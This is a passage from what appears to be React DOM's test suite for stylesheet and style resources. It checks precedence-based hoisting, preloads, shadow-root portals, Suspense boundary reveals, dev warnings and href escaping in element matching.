 expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"aresource\" data-precedence=\"foo\" />\n          </head>\n          <body>\n            <div>hello world</div>\n          </body>\n        </html>,\n      );\n    });\n\n    it('hoists stylesheet resources to the correct precedence', async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <html>\n            <head />\n            <body>\n              <link rel=\"stylesheet\" href=\"foo1\" precedence=\"foo\" />\n              <link rel=\"stylesheet\" href=\"default1\" precedence=\"default\" />\n              <link rel=\"stylesheet\" href=\"foo2\" precedence=\"foo\" />\n              <div>hello world</div>\n            </body>\n          </html>,\n        );\n        pipe(writable);\n      });\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"foo1\" data-precedence=\"foo\" />\n            <link rel=\"stylesheet\" href=\"foo2\" data-precedence=\"foo\" />\n            <link rel=\"stylesheet\" href=\"default1\" data-precedence=\"default\" />\n          </head>\n          <body>\n            <div>hello world</div>\n          </body>\n        </html>,\n      );\n\n      ReactDOMClient.hydrateRoot(\n        document,\n        <html>\n          <head />\n          <body>\n            <link rel=\"stylesheet\" href=\"bar1\" precedence=\"bar\" />\n            <link rel=\"stylesheet\" href=\"foo3\" precedence=\"foo\" />\n            <link rel=\"stylesheet\" href=\"default2\" precedence=\"default\" />\n            <div>hello world</div>\n          </body>\n        </html>,\n      );\n      await waitForAll([]);\n      await act(() => {\n        loadPreloads();\n        loadStylesheets();\n      });\n      await assertLog([\n        'load preload: bar1',\n        'load preload: foo3',\n        'load preload: default2',\n        'load stylesheet: foo1',\n        'load stylesheet: foo2',\n        'load stylesheet: foo3',\n        'load stylesheet: default1',\n        'load stylesheet: default2',\n        'load stylesheet: bar1',\n      ]);\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"foo1\" data-precedence=\"foo\" />\n            <link rel=\"stylesheet\" href=\"foo2\" data-precedence=\"foo\" />\n            <link rel=\"stylesheet\" href=\"foo3\" data-precedence=\"foo\" />\n            <link rel=\"stylesheet\" href=\"default1\" data-precedence=\"default\" />\n            <link rel=\"stylesheet\" href=\"default2\" data-precedence=\"default\" />\n            <link rel=\"stylesheet\" href=\"bar1\" data-precedence=\"bar\" />\n            <link rel=\"preload\" as=\"style\" href=\"bar1\" />\n            <link rel=\"preload\" as=\"style\" href=\"foo3\" />\n            <link rel=\"preload\" as=\"style\" href=\"default2\" />\n          </head>\n          <body>\n            <div>hello world</div>\n          </body>\n        </html>,\n      );\n    });\n\n    it('retains styles even after the last referring Resource unmounts', async () => {\n      // This test is true until a future update where there is some form of garbage collection.\n      const root = ReactDOMClient.createRoot(document);\n\n      root.render(\n        <html>\n          <head />\n          <body>\n            hello world\n            <link rel=\"stylesheet\" href=\"foo\" precedence=\"foo\" />\n          </body>\n        </html>,\n      );\n      await waitForAll([]);\n      await act(() => {\n        loadPreloads();\n        loadStylesheets();\n      });\n      await assertLog(['load preload: foo', 'load stylesheet: foo']);\n\n      root.render(\n        <html>\n          <head />\n          <body>hello world</body>\n        </html>,\n      );\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"foo\" />\n          </head>\n          <body>hello world</body>\n        </html>,\n      );\n    });\n\n    it('retains styles even when a new html, head, and/body mount', async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <html>\n            <head />\n            <body>\n              <link rel=\"stylesheet\" href=\"foo\" precedence=\"foo\" />\n              <link rel=\"stylesheet\" href=\"bar\" precedence=\"bar\" />\n              server\n            </body>\n          </html>,\n        );\n        pipe(writable);\n      });\n      const errors = [];\n      ReactDOMClient.hydrateRoot(\n        document,\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"qux\" precedence=\"qux\" />\n            <link rel=\"stylesheet\" href=\"foo\" precedence=\"foo\" />\n          </head>\n          <body>client</body>\n        </html>,\n        {\n          onRecoverableError(error) {\n            errors.push(error.message);\n          },\n        },\n      );\n      await waitForAll([]);\n      await act(() => {\n        loadPreloads();\n        loadStylesheets();\n      });\n      await assertLog([\n        'load preload: qux',\n        'load stylesheet: foo',\n        'load stylesheet: bar',\n        'load stylesheet: qux',\n      ]);\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"foo\" />\n            <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"bar\" />\n            <link rel=\"stylesheet\" href=\"qux\" data-precedence=\"qux\" />\n          </head>\n          <body>client</body>\n        </html>,\n      );\n    });\n\n    it('retains styles in head through head remounts', async () => {\n      const root = ReactDOMClient.createRoot(document);\n      root.render(\n        <html>\n          <head key={1} />\n          <body>\n            <link rel=\"stylesheet\" href=\"foo\" precedence=\"foo\" />\n            <link rel=\"stylesheet\" href=\"bar\" precedence=\"bar\" />\n            {null}\n            hello\n          </body>\n        </html>,\n      );\n      await waitForAll([]);\n      await act(() => {\n        loadPreloads();\n        loadStylesheets();\n      });\n      await assertLog([\n        'load preload: foo',\n        'load preload: bar',\n        'load stylesheet: foo',\n        'load stylesheet: bar',\n      ]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"foo\" />\n            <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"bar\" />\n          </head>\n          <body>hello</body>\n        </html>,\n      );\n\n      root.render(\n        <html>\n          <head key={2} />\n          <body>\n            <link rel=\"stylesheet\" href=\"foo\" precedence=\"foo\" />\n            {null}\n            <link rel=\"stylesheet\" href=\"baz\" precedence=\"baz\" />\n            hello\n          </body>\n        </html>,\n      );\n      await waitForAll([]);\n      await act(() => {\n        loadPreloads();\n        loadStylesheets();\n      });\n      await assertLog(['load preload: baz', 'load stylesheet: baz']);\n\n      // The reason we do not see preloads in the head is they are inserted synchronously\n      // during render and then when the new singleton mounts it resets it's content, retaining only styles\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"foo\" />\n            <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"bar\" />\n            <link rel=\"stylesheet\" href=\"baz\" data-precedence=\"baz\" />\n            <link rel=\"preload\" href=\"baz\" as=\"style\" />\n          </head>\n          <body>hello</body>\n        </html>,\n      );\n    });\n\n    it('can support styles inside portals to a shadowRoot', async () => {\n      const shadow = document.body.attachShadow({mode: 'open'});\n      const root = ReactDOMClient.createRoot(container);\n      root.render(\n        <>\n          <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n          {ReactDOM.createPortal(\n            <div>\n              <link\n                rel=\"stylesheet\"\n                href=\"foo\"\n                data-extra-prop=\"foo\"\n                precedence=\"different\"\n              />\n              shadow\n            </div>,\n            shadow,\n          )}\n          container\n        </>,\n      );\n      await waitForAll([]);\n      await act(() => {\n        loadPreloads();\n        loadStylesheets();\n        loadStylesheetsFrom(shadow);\n      });\n      await assertLog([\n        'load preload: foo',\n        'load stylesheet: foo',\n        'load stylesheet: foo',\n      ]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n            <link rel=\"preload\" href=\"foo\" as=\"style\" />\n          </head>\n          <body>\n            <div id=\"container\">container</div>\n          </body>\n        </html>,\n      );\n      expect(getMeaningfulChildren(shadow)).toEqual([\n        <link\n          rel=\"stylesheet\"\n          href=\"foo\"\n          data-precedence=\"different\"\n          data-extra-prop=\"foo\"\n        />,\n        <div>shadow</div>,\n      ]);\n    });\n\n    it('can support styles inside portals to an element in shadowRoots', async () => {\n      const template = document.createElement('template');\n      template.innerHTML =\n        \"<div><div id='shadowcontainer1'></div><div id='shadowcontainer2'></div></div>\";\n      const shadow = document.body.attachShadow({mode: 'open'});\n      shadow.appendChild(template.content);\n\n      const shadowContainer1 = shadow.getElementById('shadowcontainer1');\n      const shadowContainer2 = shadow.getElementById('shadowcontainer2');\n      const root = ReactDOMClient.createRoot(container);\n      root.render(\n        <>\n          <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n          {ReactDOM.createPortal(\n            <div>\n              <link rel=\"stylesheet\" href=\"foo\" precedence=\"one\" />\n              <link rel=\"stylesheet\" href=\"bar\" precedence=\"two\" />1\n            </div>,\n            shadow,\n          )}\n          {ReactDOM.createPortal(\n            <div>\n              <link rel=\"stylesheet\" href=\"foo\" precedence=\"one\" />\n              <link rel=\"stylesheet\" href=\"baz\" precedence=\"one\" />2\n            </div>,\n            shadowContainer1,\n          )}\n          {ReactDOM.createPortal(\n            <div>\n              <link rel=\"stylesheet\" href=\"bar\" precedence=\"two\" />\n              <link rel=\"stylesheet\" href=\"qux\" precedence=\"three\" />3\n            </div>,\n            shadowContainer2,\n          )}\n          container\n        </>,\n      );\n      await waitForAll([]);\n      await act(() => {\n        loadPreloads();\n        loadStylesheets();\n        loadStylesheetsFrom(shadow);\n        loadStylesheetsFrom(shadowContainer2);\n        loadStylesheetsFrom(shadowContainer2);\n      });\n      await assertLog([\n        'load preload: foo',\n        'load preload: bar',\n        'load preload: baz',\n        'load preload: qux',\n        'load stylesheet: foo',\n        'load stylesheet: foo',\n        'load stylesheet: baz',\n        'load stylesheet: bar',\n        'load stylesheet: qux',\n      ]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n            <link rel=\"preload\" href=\"foo\" as=\"style\" />\n            <link rel=\"preload\" href=\"bar\" as=\"style\" />\n            <link rel=\"preload\" href=\"baz\" as=\"style\" />\n            <link rel=\"preload\" href=\"qux\" as=\"style\" />\n          </head>\n          <body>\n            <div id=\"container\">container</div>\n          </body>\n        </html>,\n      );\n      expect(getMeaningfulChildren(shadow)).toEqual([\n        <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"one\" />,\n        <link rel=\"stylesheet\" href=\"baz\" data-precedence=\"one\" />,\n        <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"two\" />,\n        <link rel=\"stylesheet\" href=\"qux\" data-precedence=\"three\" />,\n        <div>\n          <div id=\"shadowcontainer1\">\n            <div>2</div>\n          </div>\n          <div id=\"shadowcontainer2\">\n            <div>3</div>\n          </div>\n        </div>,\n        <div>1</div>,\n      ]);\n    });\n\n    it('escapes hrefs when selecting matching elements in the document when rendering Resources', async () => {\n      function App() {\n        ReactDOM.preload('preload', {as: 'style'});\n        ReactDOM.preload('with\\nnewline', {as: 'style'});\n        return (\n          <html>\n            <head />\n            <body>\n              <link rel=\"stylesheet\" href=\"style\" precedence=\"style\" />\n              <link rel=\"stylesheet\" href=\"with\\slashes\" precedence=\"style\" />\n              <div id=\"container\" />\n            </body>\n          </html>\n        );\n      }\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n\n      container = document.getElementById('container');\n      const root = ReactDOMClient.createRoot(container);\n\n      function ClientApp() {\n        ReactDOM.preload('preload', {as: 'style'});\n        ReactDOM.preload('with\\nnewline', {as: 'style'});\n        return (\n          <div>\n            <link\n              rel=\"stylesheet\"\n              href={'style\"][rel=\"stylesheet'}\n              precedence=\"style\"\n            />\n            <link rel=\"stylesheet\" href=\"with\\slashes\" precedence=\"style\" />\n            foo\n          </div>\n        );\n      }\n      root.render(<ClientApp />);\n      await waitForAll([]);\n      await act(() => {\n        loadPreloads();\n        loadStylesheets();\n      });\n      await assertLog([\n        'load preload: preload',\n        'load preload: with\\nnewline',\n        'load preload: style\"][rel=\"stylesheet',\n        'load stylesheet: style',\n        'load stylesheet: with\\\\slashes',\n        'load stylesheet: style\"][rel=\"stylesheet',\n      ]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"style\" data-precedence=\"style\" />\n            <link\n              rel=\"stylesheet\"\n              href=\"with\\slashes\"\n              data-precedence=\"style\"\n            />\n            <link\n              rel=\"stylesheet\"\n              href={'style\"][rel=\"stylesheet'}\n              data-precedence=\"style\"\n            />\n            <link rel=\"preload\" as=\"style\" href=\"preload\" />\n            <link rel=\"preload\" href={'with\\nnewline'} as=\"style\" />\n            <link rel=\"preload\" href={'style\"][rel=\"stylesheet'} as=\"style\" />\n          </head>\n          <body>\n            <div id=\"container\">\n              <div>foo</div>\n            </div>\n          </body>\n        </html>,\n      );\n    });\n\n    it('escapes hrefs when selecting matching elements in the document when using preload and preinit', async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <html>\n            <head />\n            <body>\n              <link rel=\"preload\" href=\"preload\" as=\"style\" />\n              <link rel=\"stylesheet\" href=\"style\" precedence=\"style\" />\n              <link rel=\"stylesheet\" href=\"with\\slashes\" precedence=\"style\" />\n              <link rel=\"preload\" href={'with\\nnewline'} as=\"style\" />\n              <div id=\"container\" />\n            </body>\n          </html>,\n        );\n        pipe(writable);\n      });\n\n      function App() {\n        ReactDOM.preload('preload\"][rel=\"preload', {as: 'style'});\n        ReactDOM.preinit('style\"][rel=\"stylesheet', {\n          as: 'style',\n          precedence: 'style',\n        });\n        ReactDOM.preinit('with\\\\slashes', {\n          as: 'style',\n          precedence: 'style',\n        });\n        ReactDOM.preload('with\\nnewline', {as: 'style'});\n        return <div>foo</div>;\n      }\n\n      container = document.getElementById('container');\n      const root = ReactDOMClient.createRoot(container);\n      root.render(<App />);\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"style\" data-precedence=\"style\" />\n            <link\n              rel=\"stylesheet\"\n              href=\"with\\slashes\"\n              data-precedence=\"style\"\n            />\n            <link\n              rel=\"stylesheet\"\n              href={'style\"][rel=\"stylesheet'}\n              data-precedence=\"style\"\n            />\n            <link rel=\"preload\" as=\"style\" href=\"preload\" />\n            <link rel=\"preload\" href={'with\\nnewline'} as=\"style\" />\n            <link rel=\"preload\" href={'preload\"][rel=\"preload'} as=\"style\" />\n          </head>\n          <body>\n            <div id=\"container\">\n              <div>foo</div>\n            </div>\n          </body>\n        </html>,\n      );\n    });\n\n    it('does not create stylesheet resources when inside an <svg> context', async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <html>\n            <body>\n              <svg>\n                <path>\n                  <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n                </path>\n                <foreignObject>\n                  <link rel=\"stylesheet\" href=\"bar\" precedence=\"default\" />\n                </foreignObject>\n              </svg>\n            </body>\n          </html>,\n        );\n        pipe(writable);\n      });\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n          </head>\n          <body>\n            <svg>\n              <path>\n                <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n              </path>\n              <foreignobject />\n            </svg>\n          </body>\n        </html>,\n      );\n\n      const root = ReactDOMClient.createRoot(document.body);\n      root.render(\n        <div>\n          <svg>\n            <path>\n              <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n            </path>\n            <foreignObject>\n              <link rel=\"stylesheet\" href=\"bar\" precedence=\"default\" />\n            </foreignObject>\n          </svg>\n        </div>,\n      );\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document.body)).toEqual(\n        <div>\n          <svg>\n            <path>\n              <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n            </path>\n            <foreignobject />\n          </svg>\n        </div>,\n      );\n    });\n\n    it('does not create stylesheet resources when inside a <noscript> context', async () => {\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <html>\n            <body>\n              <noscript>\n                <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n              </noscript>\n            </body>\n          </html>,\n        );\n        pipe(writable);\n      });\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head />\n          <body>\n            <noscript>\n              &lt;link rel=\"stylesheet\" href=\"foo\" precedence=\"default\"&gt;\n            </noscript>\n          </body>\n        </html>,\n      );\n\n      const root = ReactDOMClient.createRoot(document.body);\n      root.render(\n        <div>\n          <noscript>\n            <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n          </noscript>\n        </div>,\n      );\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document.body)).toEqual(\n        <div>\n          {/* On the client, <noscript> never renders children */}\n          <noscript />\n        </div>,\n      );\n    });\n\n    it('warns if you provide a `precedence` prop with other props that invalidate the creation of a stylesheet resource', async () => {\n      await act(() => {\n        renderToPipeableStream(\n          <html>\n            <body>\n              <link rel=\"stylesheet\" precedence=\"default\" />\n              <link rel=\"stylesheet\" href=\"\" precedence=\"default\" />\n              <link\n                rel=\"stylesheet\"\n                href=\"foo\"\n                precedence=\"default\"\n                onLoad={() => {}}\n                onError={() => {}}\n              />\n              <link\n                rel=\"stylesheet\"\n                href=\"foo\"\n                precedence=\"default\"\n                onLoad={() => {}}\n              />\n              <link\n                rel=\"stylesheet\"\n                href=\"foo\"\n                precedence=\"default\"\n                onError={() => {}}\n              />\n              <link\n                rel=\"stylesheet\"\n                href=\"foo\"\n                precedence=\"default\"\n                disabled={false}\n              />\n            </body>\n          </html>,\n        ).pipe(writable);\n      });\n      assertConsoleErrorDev(\n        [\n          'React encountered a `<link rel=\"stylesheet\" .../>` with a `precedence` prop and ' +\n            'expected the `href` prop to be a non-empty string but ecountered `undefined` instead. ' +\n            'If your intent was to have React hoist and deduplciate this stylesheet using the ' +\n            '`precedence` prop ensure there is a non-empty string `href` prop as well, ' +\n            'otherwise remove the `precedence` prop.\\n' +\n            '    in link (at **)',\n          'React encountered a `<link rel=\"stylesheet\" .../>` with a `precedence` prop and ' +\n            'expected the `href` prop to be a non-empty string but ecountered an empty string instead. ' +\n            'If your intent was to have React hoist and deduplciate this stylesheet using the ' +\n            '`precedence` prop ensure there is a non-empty string `href` prop as well, ' +\n            'otherwise remove the `precedence` prop.\\n' +\n            '    in link (at **)',\n          'An empty string (\"\") was passed to the href attribute. ' +\n            'To fix this, either do not render the element at all or ' +\n            'pass null to href instead of an empty string.\\n' +\n            '    in link (at **)',\n          'React encountered a `<link rel=\"stylesheet\" .../>` with a `precedence` prop and ' +\n            '`onLoad` and `onError` props. The presence of loading and error handlers indicates ' +\n            'an intent to manage the stylesheet loading state from your from your Component code ' +\n            'and React will not hoist or deduplicate this stylesheet. ' +\n            'If your intent was to have React hoist and deduplciate this stylesheet using the ' +\n            '`precedence` prop remove the `onLoad` and `onError` props, otherwise remove the `precedence` prop.\\n' +\n            '    in link (at **)',\n          'React encountered a `<link rel=\"stylesheet\" .../>` with a `precedence` prop and ' +\n            '`onLoad` prop. The presence of loading and error handlers indicates an intent to ' +\n            'manage the stylesheet loading state from your from your Component code and ' +\n            'React will not hoist or deduplicate this stylesheet. ' +\n            'If your intent was to have React hoist and deduplciate this stylesheet using the ' +\n            '`precedence` prop remove the `onLoad` prop, otherwise remove the `precedence` prop.\\n' +\n            '    in link (at **)',\n          'React encountered a `<link rel=\"stylesheet\" .../>` with a `precedence` prop and `onError` prop. ' +\n            'The presence of loading and error handlers indicates an intent to manage the stylesheet loading state ' +\n            'from your from your Component code and React will not hoist or deduplicate this stylesheet. ' +\n            'If your intent was to have React hoist and deduplciate this stylesheet using the `precedence` ' +\n            'prop remove the `onError` prop, otherwise remove the `precedence` prop.\\n' +\n            '    in link (at **)',\n          'React encountered a `<link rel=\"stylesheet\" .../>` with a `precedence` prop and a `disabled` prop. ' +\n            'The presence of the `disabled` prop indicates an intent to manage the stylesheet active state from ' +\n            'your from your Component code and React will not hoist or deduplicate this stylesheet. ' +\n            'If your intent was to have React hoist and deduplciate this stylesheet using the `precedence` ' +\n            'prop remove the `disabled` prop, otherwise remove the `precedence` prop.\\n' +\n            '    in link (at **)',\n        ].filter(Boolean),\n      );\n\n      ReactDOMClient.hydrateRoot(\n        document,\n        <html>\n          <body>\n            <link\n              rel=\"stylesheet\"\n              href=\"foo\"\n              precedence=\"default\"\n              onLoad={() => {}}\n              onError={() => {}}\n            />\n          </body>\n        </html>,\n      );\n      await waitForAll([]);\n      assertConsoleErrorDev([\n        'React encountered a <link rel=\"stylesheet\" href=\"foo\" ... /> with a `precedence` ' +\n          'prop that also included the `onLoad` and `onError` props. ' +\n          'The presence of loading and error handlers indicates an intent to manage the stylesheet ' +\n          'loading state from your from your Component code and React will not hoist or deduplicate this stylesheet. ' +\n          'If your intent was to have React hoist and deduplciate this stylesheet using the `precedence` ' +\n          'prop remove the `onLoad` and `onError` props, otherwise remove the `precedence` prop.\\n' +\n          '    in body (at **)',\n      ]);\n    });\n\n    it('will not block displaying a Suspense boundary on a stylesheet with media that does not match', async () => {\n      await act(() => {\n        renderToPipeableStream(\n          <html>\n            <body>\n              <Suspense fallback=\"loading...\">\n                <BlockedOn value=\"block\">\n                  foo\n                  <link\n                    rel=\"stylesheet\"\n                    href=\"print\"\n                    media=\"print\"\n                    precedence=\"print\"\n                  />\n                  <link\n                    rel=\"stylesheet\"\n                    href=\"all\"\n                    media=\"all\"\n                    precedence=\"all\"\n                  />\n                </BlockedOn>\n              </Suspense>\n              <Suspense fallback=\"loading...\">\n                <BlockedOn value=\"block\">\n                  bar\n                  <link\n                    rel=\"stylesheet\"\n                    href=\"print\"\n                    media=\"print\"\n                    precedence=\"print\"\n                  />\n                  <link\n                    rel=\"stylesheet\"\n                    href=\"all\"\n                    media=\"all\"\n                    precedence=\"all\"\n                  />\n                </BlockedOn>\n              </Suspense>\n            </body>\n          </html>,\n        ).pipe(writable);\n      });\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head />\n          <body>\n            {'loading...'}\n            {'loading...'}\n          </body>\n        </html>,\n      );\n\n      await act(() => {\n        resolveText('block');\n      });\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link\n              rel=\"stylesheet\"\n              href=\"print\"\n              media=\"print\"\n              data-precedence=\"print\"\n            />\n            <link\n              rel=\"stylesheet\"\n              href=\"all\"\n              media=\"all\"\n              data-precedence=\"all\"\n            />\n          </head>\n          <body>\n            {'loading...'}\n            {'loading...'}\n            <link rel=\"preload\" href=\"print\" media=\"print\" as=\"style\" />\n            <link rel=\"preload\" href=\"all\" media=\"all\" as=\"style\" />\n          </body>\n        </html>,\n      );\n\n      await act(() => {\n        const allStyle = document.querySelector('link[href=\"all\"]');\n        const event = document.createEvent('Events');\n        event.initEvent('load', true, true);\n        allStyle.dispatchEvent(event);\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link\n              rel=\"stylesheet\"\n              href=\"print\"\n              media=\"print\"\n              data-precedence=\"print\"\n            />\n            <link\n              rel=\"stylesheet\"\n              href=\"all\"\n              media=\"all\"\n              data-precedence=\"all\"\n            />\n          </head>\n          <body>\n            {'foo'}\n            {'bar'}\n            <link rel=\"preload\" href=\"print\" media=\"print\" as=\"style\" />\n            <link rel=\"preload\" href=\"all\" media=\"all\" as=\"style\" />\n          </body>\n        </html>,\n      );\n    });\n  });\n\n  describe('Style Resource', () => {\n    it('treats <style href=\"...\" precedence=\"...\"> elements as a style resource when server rendering', async () => {\n      const css = `\nbody {\n  background-color: red;\n}`;\n      await act(() => {\n        renderToPipeableStream(\n          <html>\n            <body>\n              <style href=\"foo\" precedence=\"foo\">\n                {css}\n              </style>\n            </body>\n          </html>,\n        ).pipe(writable);\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <style data-href=\"foo\" data-precedence=\"foo\">\n              {css}\n            </style>\n          </head>\n          <body />\n        </html>,\n      );\n    });\n\n    it('can insert style resources as part of a boundary reveal', async () => {\n      const cssRed = `\nbody {\n  background-color: red;\n}`;\n      const cssBlue = `\nbody {\nbackground-color: blue;\n}`;\n      const cssGreen = `\nbody {\nbackground-color: green;\n}`;\n      await act(() => {\n        renderToPipeableStream(\n          <html>\n            <body>\n              <Suspense fallback=\"loading...\">\n                <BlockedOn value=\"blocked\">\n                  <style href=\"foo\" precedence=\"foo\">\n                    {cssRed}\n                  </style>\n                  loaded\n                </BlockedOn>\n              </Suspense>\n            </body>\n          </html>,\n        ).pipe(writable);\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head />\n          <body>loading...</body>\n        </html>,\n      );\n\n      await act(() => {\n        resolveText('blocked');\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <style data-href=\"foo\" data-precedence=\"foo\">\n              {cssRed}\n            </style>\n          </head>\n          <body>loaded</body>\n        </html>,\n      );\n\n      const root = ReactDOMClient.hydrateRoot(\n        document,\n        <html>\n          <body>\n            <Suspense fallback=\"loading...\">\n              <style href=\"foo\" precedence=\"foo\">\n                {cssRed}\n              </style>\n              loaded\n            </Suspense>\n          </body>\n        </html>,\n      );\n      await waitForAll([]);\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <style data-href=\"foo\" data-precedence=\"foo\">\n              {cssRed}\n            </style>\n          </head>\n          <body>loaded</body>\n        </html>,\n      );\n\n      root.render(\n        <html>\n          <body>\n            <Suspense fallback=\"loading...\">\n              <style href=\"foo\" precedence=\"foo\">\n                {cssRed}\n              </style>\n              loaded\n            </Suspense>\n            <style href=\"bar\" precedence=\"bar\">\n              {cssBlue}\n            </style>\n            <style href=\"baz\" precedence=\"foo\">\n              {cssGreen}\n            </style>\n          </body>\n        </html>,\n      );\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <style data-href=\"foo\" data-precedence=\"foo\">\n              {cssRed}\n            </style>\n            <style data-href=\"baz\" data-precedence=\"foo\">\n              {cssGreen}\n            </style>\n            <style data-href=\"bar\" data-precedence=\"bar\">\n              {cssBlue}\n            </style>\n          </head>\n          <body>loaded</body>\n        </html>,\n      );\n    });\n\n    it('can emit styles early when a partial boundary flushes', async () => {\n      const css = 'body { background-color: red; }';\n      await act(() => {\n        renderToPipeableStream(\n          <html>\n            <body>\n              <Suspense>\n                <BlockedOn value=\"first\">\n                  <div>first</div>\n                  <style href=\"foo\" precedence=\"default\">\n                    {css}\n                  </style>\n                  <BlockedOn value=\"second\">\n                    <div>second</div>\n                    <style href=\"bar\" precedence=\"default\">\n                      {css}\n                    </style>\n                  </BlockedOn>\n                </BlockedOn>\n              </Suspense>\n            </body>\n          </html>,\n        ).pipe(writable);\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head />\n          <body />\n        </html>,\n      );\n\n      await act(() => {\n        resolveText('first');\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head />\n          <body>\n            <style data-href=\"foo\" data-precedence=\"default\" media=\"not all\">\n              {css}\n            </style>\n          </body>\n        </html>,\n      );\n\n      await act(() => {\n        resolveText('second');\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <style data-href=\"foo\" data-precedence=\"default\">\n              {css}\n            </style>\n            <style data-href=\"bar\" data-precedence=\"default\">\n              {css}\n            </style>\n          </head>\n          <body>\n            <div>first</div>\n            <div>second</div>\n          </body>\n        </html>,\n      );\n    });\n\n    it('can hoist styles flushed early even when no other style dependencies are flushed on completion', async () => {\n      await act(() => {\n        renderToPipeableStream(\n          <html>\n            <body>\n              <Suspense fallback=\"loading...\">\n                <BlockedOn value=\"first\">\n                  <style href=\"foo\" precedence=\"default\">\n                    some css\n                  </style>\n                  <div>first</div>\n                  <BlockedOn value=\"second\">\n                    <div>second</div>\n                  </BlockedOn>\n                </BlockedOn>\n              </Suspense>\n            </body>\n          </html>,\n        ).pipe(writable);\n      });\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head />\n          <body>loading...</body>\n        </html>,\n      );\n\n      // When we resolve first we flush the style tag because it is ready but we aren't yet ready to\n      // flush the entire boundary and reveal it.\n      await act(() => {\n        resolveText('first');\n      });\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head />\n          <body>\n            loading...\n            <style data-href=\"foo\" data-precedence=\"default\" media=\"not all\">\n              some css\n            </style>\n          </body>\n        </html>,\n      );\n\n      // When we resolve second we flush the rest of the boundary segments and reveal the boundary. The style tag\n      // is hoisted during this reveal process even though no other styles flushed during this tick\n      await act(() => {\n        resolveText('second');\n      });\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <style data-href=\"foo\" data-precedence=\"default\">\n              some css\n            </style>\n          </head>\n          <body>\n            <div>first</div>\n            <div>second</div>\n          </body>\n        </html>,\n      );\n    });\n\n    it('can emit multiple style rules into a single style tag for a given precedence', async () => {\n      await act(() => {\n        renderToPipeableStream(\n          <html>\n            <body>\n              <style href=\"1\" precedence=\"default\">\n                1\n              </style>\n              <style href=\"2\" precedence=\"foo\">\n                foo2\n              </style>\n              <style href=\"3\" precedence=\"default\">\n                3\n              </style>\n              <style href=\"4\" precedence=\"default\">\n                4\n              </style>\n              <style href=\"5\" precedence=\"foo\">\n                foo5\n              </style>\n              <div>initial</div>\n              <Suspense fallback=\"loading...\">\n                <BlockedOn value=\"first\">\n                  <style href=\"6\" precedence=\"default\">\n                    6\n                  </style>\n                  <style href=\"7\" precedence=\"foo\">\n                    foo7\n                  </style>\n                  <style href=\"8\" precedence=\"default\">\n                    8\n                  </style>\n                  <style href=\"9\" precedence=\"default\">\n                    9\n                  </style>\n                  <style href=\"10\" precedence=\"foo\">\n                    foo10\n                  </style>\n                  <div>first</div>\n                  <BlockedOn 